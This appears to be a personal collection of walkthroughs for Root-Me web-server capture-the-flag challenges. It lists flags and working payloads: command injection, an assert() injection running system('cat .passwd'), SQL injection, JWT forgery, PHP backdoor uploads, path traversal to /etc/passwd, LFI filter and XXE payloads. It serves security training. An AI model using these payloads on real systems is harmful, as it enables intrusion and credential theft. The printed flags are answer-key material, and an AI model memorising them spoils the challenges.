Web-Server

https://github.com/zyjsuper/root-me-4/tree/master/Web-Server

HTML - Source code

Right click , View page source

Flag = nZ^&@q5&sjJHev0

HTTP - Open redirect

Decode md5 hash with

https://www.tunnelsup.com/hash-analyzer/

View page source

We find three urls (for the three buttons) that we can go to. Facebook, twitter and Slack.

We need to understand what the url is so we can change it and go to any website we want to go to.

?url=https://facebook.com&h=a023cfbf5f1c39bdf8407f28b60cd134

This has two parts : first the url which is Facebook.com and the second is h=a023cf...

The second part turns out to be the hash of the url (encryption) specifically MD5 encrypted.

we need to redirect to google so we need to replace the part in the html to

?url=https://google.com&h=<Hash of https://google.com>
^^^^^^^^^^^^^^^^
To check that we are correct

Go to https://md5decrypt.net/

Put a023cfbf5f1c39bdf8407f28b60cd134 and decrypt . Output = a023cfbf5f1c39bdf8407f28b60cd134

Now put https://google.com and encrypt. Output = 99999ebcfdb78df077ad2727fd00969f

Now we modify the Url inside the source code to be : url=https://google.com&h=99999ebcfdb78df077ad2727fd00969f

Now click the button of Facebook and voila.

Key : e6f8a530811d5a479812d7b82fc1a5c5

HTTP - User-agent

This request has certain headers. We are hinted that if we modify this header we can fool the website to think

We are the admins.
I used tamper data (chrome extension) and installed it.
you will find a header called user agent change this header to have the value of "admin" without the quotes.

Key : rr$Li9%L34qd1AAe27

Weak password

```
nmap -d -vv -p 80 --script http-brute --script-args http-brute.path=/web-serveur/ch3/ challenge01.root-me.org
```

flag = admin

PHP - Command injection

; cat index.php

```
<?php
$flag = "S3rv1ceP1n9Sup3rS3cure";
if(isset($_POST["ip"]) && !empty($_POST["ip"])){
        $response = shell_exec("timeout 5 bash -c 'ping -c 3 ".$_POST["ip"]."'");
        echo $response;
        }
?>
```

flag = S3rv1ceP1n9Sup3rS3cure

Backup file

http://challenge01.root-me.org/web-serveur/ch11/index.php~

explanation :
~ is a common suffix added to filenames for backup or temporary copies of files. This may be a manual backup or one created by an editor or other tool.

flag = OCCY9AcNm1tj

HTTP - Directory indexing

http://challenge01.root-me.org/web-serveur/ch4/admin/backup/admin.txt

HTTP - Headers

intercept with burpsuite
check response (there is a header called Root-me-admin)
add this header in the request --> voila

flag = HeadersMayBeUseful

HTTP - POST

modify html post method to :

```
 <form action="" method="post"
onsubmit="document.getElementsByName('score')[0].value =
Math.floor(Math.random() * 1000001)">
```

to -->

```
 <form action="" method="post"
onsubmit="document.getElementsByName('score')[0].value = 100000000">
```

flag = H7tp_h4s_N0_s3Cr37S_F0r_y0U

HTTP - Improper redirect

read the given readings for the challenge

intercept response with burpsuite and you will find the webpage , just change code to 200 ok

flag = ExecutionAfterRedirectIsBad

http://cwe.mitre.org/data/definitions/698.html

example code :

```
$requestingIP = $_SERVER['REMOTE_ADDR'];
if(!in_array($requestingIP,$ipWhitelist)){
echo "You are not authorized to view this page";
http_redirect($errorPageURL);
}
$status = getServerStatus();
echo $status;
```

HTTP - Verb tampering

https://www.imperva.com/learn/application-security/http-verb-tampering/

The idea is to change the request method :
changed from get to post , head , trace , put --> worked

flag = a23e$dme96d3saez$$prap

Install files

use dirb on the challenge

http://challenge01.root-me.org/web-serveur/ch6/phpbb/install/install.php
http://challenge01.root-me.org/web-serveur/ch6/phpbb/install/

flag = karambar

Phpbb's installation folders are located in 'phpbb/install/install.php' so I appended that to the end of the challenge's url

CRLF

writeup

http://0x80int.blogspot.com/2013/02/crlf-web-server-root-me.html
https://tgraph.io/CTF-Kurs-molodogo-bojca-Nachalnye-zadaniya-kategorii-WEB-9-01-04

GET /web-serveur/ch14/?username=admin authenticated.%0d%0atest&password=admin HTTP/1.1

what happens is the message is seen as this

admin authenticated.
test failed to authenticate.

File upload - Double extensions

upload php backdoor with extension backdoor.php.jpg

http://challenge01.root-me.org/web-serveur/ch20/galerie/upload/6aftrqu7gfqev4mfqv6206r7t1//backdoor.php.jpg?cmd=cat%20%20%20../../../.passwd

flag = Gg9LRz-hWSxqqUKd77-_q-6G8

File upload - MIME type

upload backdoor.php
Intercept with burp
change content type

Content-Disposition: form-data; name="file"; filename="backdoor.php"
Content-Type: **image/jpg**

flag = a7n4nizpgQgnPERy89uanf6T4

SQL injection - Authentication

login = admin' or '1
password = anything
view-source:http://challenge01.root-me.org/web-serveur/ch9/

flag = t0_W34k!$

HTTP - Cookies

Change the the cookie name to admin instead of visteur , I used the inspect on google chrome

Flag = ml-SYMPA

Directory traversal

First remove the value of parameter galerie
You will find a directory name , add it to the value

http://challenge01.root-me.org/web-serveur/ch15/ch15.php?galerie=86hwnX2r

Flag = kcb$!Bx@v4Gs9Ez

JSON Web Token (JWT) - Introduction

attacking jwt
http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Hacking%20JSON%20Web%20Token%20(JWT)%20-%20Rudra%20Pratap.pdf

writeup
https://tgraph.io/CTF-Web-Zadaniya-s-Root-Me-chast-36-08-25

get the cookie (JWT)
https://jwt.io/

we find an attack that sets the algorithm to null

go to terminal

ipython3

```
import jwt
encoded = jwt.encode({'username': 'admin'}, '', algorithm='none')
encoded
Out[7]: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.'
```

change jwt cookie to
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.
refresh
voilaa

Insecure Code Management

https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Source%20Code%20Management

follow this link

- .git/config
- .git/HEAD
- .git/logs/HEAD

all those files exist

writeup :
https://blog.csdn.net/qq_41918771/article/details/103751622

https://github.com/internetwache/GitTools

download gitdumper.sh

run

```
./gitdumper.sh http://challenge01.root-me.org/web-serveur/ch61/.git/ .
```

git log --> shows the commits with their messages --> used sha256 git status   --> shows the status of the current git commit

you will find that he deleted some files and didnt commit
so we delete those deletions with

git checkout --
find password hashed in config.php

decrypt with
https://md5hashing.net/hash/sha256/

Flag = s3cureP@ssw0rd

another way is using
git show

File upload - Null byte

guide to do a generic null byte
http://nileshkumar83.blogspot.com/2017/01/file-upload-through-null-byte-injection.html

intercept with burp
change both content type and insert null byte in name

```
Content-Disposition: form-data; name="file"; filename="index.php%00.png"
Content-Type: image/png
```

Flag = YPNchi2NmTwygr2dgCCF

JSON Web Token (JWT) - Weak secret

writeup
https://tgraph.io/CTF-Web-Zadaniya-s-Root-Me-chast-37-08-25

download this tool
install dependencies
https://github.com/ticarpi/jwt_tool

get the token and run
python3 jwt_tool.py <token> rockyou.txt
now we have the secret

generate a new token

lol
import jwt
encoded = jwt.encode({'username': 'admin'}, 'lol', algorithm='HS512')
encoded

```
POST /web-serveur/ch59/admin HTTP/1.1
Host: challenge01.root-me.org
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/
```

```
*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ar;q=0.8
Authorization: Bearer
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiYWRtaW4ifQ.y9GHxQbH70x_S8F_VPAjr
a_S-nQ9MsRnuvwWFGoIyKXKk8xCcMpYljN190KcV1qV6qLFTNrvg4Gwyv29OCjAWA
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```

other tools :
https://github.com/AresS31/jwtcat

Flag = PleaseUseAStrongSecretNextTime

PHP - assert()

https://hydrasky.com/network-security/php-assert-vulnerable-to-local-file-inclusion/

http://challenge01.root-me.org/web-serveur/ch47/?page=../../../../../etc/passwd
this link produced this error

Warning: assert(): Assertion "strpos('includes/../../../../../etc/passwd.php', '..') === false" failed in /challenge/web-serveur/ch47/index.php on line 8 Detected hacking attempt!

This application using assert() function to do checks if assertion is FALSE.

This is a sample vulnerable code

assert("strpos('$file', '..') === false") or die("Detected hacking attempt!"); // vulnerable code!

sending this payload: (b3d ta2feel we taftee7 keteeer)

http://challenge01.root-me.org/web-serveur/ch47/?page=page=', 'ahmed') or die(system('cat .passwd')); //

Flag = x4Ss3rT1ngISn0ts4f3A7A1Lx

PHP - Filters

http://repository.root-me.org/Programmation/PHP/EN%20-%20Using%20and%20understanding%20PHP%20streams%20and%20filters.pdf

LFI cheat sheet
https://highon.coffee/blog/lfi-cheat-sheet/

so the hint is filter

we use this payload from the cheat sheet
http://challenge01.root-me.org/web-serveur/ch12/?inc=**php://filter**/convert.base64-encode/resource=login.php
now we get the login page without processing the php in it

PD9waHAKaW5jbHVkZSgiY29uZmlnLnBocCIpOwoKaWYgKCBpc3NldCgkX1BPU1RbInVzZXJu

YW1lIl0pICYmIGlzc2V0KCRfUE9TVFsicGFzc3dvcmQiXSkgKXsKICAgIGlmICgkX1BPU1RbInVzZ
XJuYW1lIl09PSR1c2VybmFtZSAmJiAkX1BPU1RbInBhc3N3b3JkIl09PSRwYXNzd29yZCl7CiAgI
CAgIHByaW50KCI8aDI+V2VsY29tZSBiYWNrICE8L2gyPiIpOwogICAgICBwcmludCgiVG8gdmFs
aWRhdGUgdGhlIGNoYWxsZW5nZSB1c2UgdGhpcyBwYXNzd29yZDxici8+PGJyLz4iKTsKICAgI
H0gZWxzZSB7CiAgICAgIHByaW50KCI8aDM+RXJyb3IgOiBubyBzdWNoIHVzZXIvcGFzc3dvcm
Q8L2gyPjxiciAvPiIpOwogICAgfQp9IGVsc2Ugewo/
PgoKPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgTG9naW4mbmJzcDs8YnIvPgogI
DxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VybmFtZSIgLz48YnIvPjxici8+CiAgUGFzc3dvcm
QmbmJzcDs8YnIvPgogIDxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icGFzc3dvcmQiIC8+
PGJyLz48YnIvPgogIDxici8+PGJyLz4KICA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY29u
bmVjdCIgLz48YnIvPjxici8+CjwvZm9ybT4KCjw/cGhwIH0gPz4=

decode base64 from burp or online

```
<?php
include("config.php");

if ( isset($_POST["username"]) && isset($_POST["password"]) ){
    if ($_POST["username"]==$username && $_POST["password"]==$password){
      print("<h2>Welcome back !</h2>");
      print("To validate the challenge use this password<br/><br/>");
    } else {
      print("<h3>Error : no such user/password</h2><br />");
    }
} else {
?>

<form action="" method="post">
  Login&nbsp;<br/>
  <input type="text" name="username" /><br/><br/>
  Password&nbsp;<br/>
  <input type="password" name="password" /><br/><br/>
  <br/><br/>
  <input type="submit" value="connect" /><br/><br/>
</form>

<?php } ?>
```

do same with config .php
http://challenge01.root-me.org/web-serveur/ch12/?inc=php://filter/convert.base64-encode/resource=config.php

PD9waHAKCiR1c2VybmFtZT0iYWRtaW4iOwokcGFzc3dvcmQ9IkRBUHQ5RDJta3kwQVBBRiI7
Cgo/Pg==

```
<?php

$username="admin";
$password="DAPt9D2mky0APAF";

?>
```

PHP - register globals

first we know that there is a backup file
we download

http://challenge01.root-me.org/web-serveur/ch17/index.html.bak

This is the intended way yo solve this challenge:
http://challenge01.root-me.org/web-serveur/ch17/?_SESSION%5Blogged%5D=1

we notice that the code compares hidden_password to password we passed
we can overide this hidden password

```
POST /web-serveur/ch17/ HTTP/1.1
Host: challenge01.root-me.org
Content-Length: 13
Cache-Control: max-age=0
Origin: http://challenge01.root-me.org
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://challenge01.root-me.org/web-serveur/ch17/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,ar;q=0.8
Cookie: PHPSESSID=fp82cd7757e3raq4ogqcj3usf0; hidden_password=1234
Connection: close
password=1234
```

now refresh the page to get the original value since your session is now logged in

Flag = NoTQYipcRKkgrqG

Command injection - Filter bypass

127.0.0.1%0Als   --> using %0A the ping is done
this is blind command injection --> we donot get the result

uninteded solution

```
127.0.0.1%0Acp index.php /tmp/
127.0.0.1%0Achmod 555 /tmp/index.php
```

go to the old challenge

Flag = Comma@nd_1nJec7ion_Fl@9_1337_Th3_G@m3!!!

File upload - ZIP

https://github.com/kuqadk3/CTF-and-Learning/tree/master/root-me/web-server/File%20upload%20-%20ZIP

idea :
we use symlinks option for zip

-y
--symlinks
  For UNIX and VMS (V8.3 and later), store symbolic links as such in the zip archive,

instead of compressing and storing the file referred to by the link. This can avoid multiple copies of files being included in the archive as zip recurses the directory trees and accesses files directly and by links.

we create a file that matches

../../../index.php using the command
ln -s "../../../index.php " file.txt

we zip this command to the file.zip
and upload
we check the file he uncompresses it and executes this file

Flag = N3v3r_7rU5T_u5Er_1npU7

Local File Inclusion

http://challenge01.root-me.org/web-serveur/ch16/?files=sysadm&f=../../admin/index.php

the file name is in the file parameter
the file to be displayed is in the f variable
we set it to ../../admin/index.php (after several hundred trial and error)

Flag = OpbNJ60xYpvAQU8

Local File Inclusion - Double encoding

https://owasp.org/www-community/Double_Encoding

using php filter we display the result in base64 format and then when we get it we decode it
php://filter/convert.base64-encode/resource=home

example : http://challenge01.root-me.org/web-serveur/ch45/index.php?page=php://filter/convert.base64-encode/resource=home

we use this website to url encode
https://meyerweb.com/eric/tools/dencoder/

we find conf.inc.php is included

```
<?php include("conf.inc.php"); ?>
<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>J. Smith - Home</title>
  </head>
  <body>
    <?= $conf['global_style'] ?>
    <nav>
      <a href="index.php?page=home" class="active">Home</a>
      <a href="index.php?page=cv">CV</a>
      <a href="index.php?page=contact">Contact</a>
    </nav>
    <div id="main">
      <?= $conf['home'] ?>
    </div>
  </body>
</html>
```

http://challenge01.root-me.org/web-serveur/ch45/index.php?page=php%253A%252F%252Ffilter%252Fconvert%252ebase64%252dencode%252Fresource%253Dconf

this is a python code for this challenge

```
#!/usr/bin/python

import sys
import requests
from base64 import b64decode

def double_encode (string):
    encoded = ''
    for char in string:
        encoded += '%25' + '%02x' % ord (char)
    return encoded

def get_file (path):
    encoded_path = double_encode ('php://filter/convert.base64-encode/resource=' + path)
    response = requests.get ('http://challenge01.root-me.org/web-serveur/ch45/index.php?page=' + encoded_path)
    print b64decode (response.text)

get_file ('cv')
get_file ('conf')
```

SQL injection - String

we have a search page
lets try injections there
we get an error with 'ahmed'

ahmed' or id='1' union select 1, sql from sqlite_master-- -+

ahmed' or id='1' union select username,password from users-- -+

Flag = c4K04dtIaJsuWdi

XML External Entity

http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20XML%20External%20Entity%20Attacks%20(XXE)%20-%20owasp.pdf

http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20What%20You%20Didn't%20Know%20About%20XML%20External%20Entities%20Attacks.pdf

read this ^^^^^^^^^

this is the xml rss format

https://www.w3schools.com/xml/xml_rss.asp

a good writeup
https://taind.wordpress.com/2017/12/25/root-me-xml-external-entity/

```
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"
```

PHP - Serialization

http://php.net/manual/en/function.unserialize.php

http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20POC2009%20Shocking%20News%20In%20PHP%20Exploitation.pdf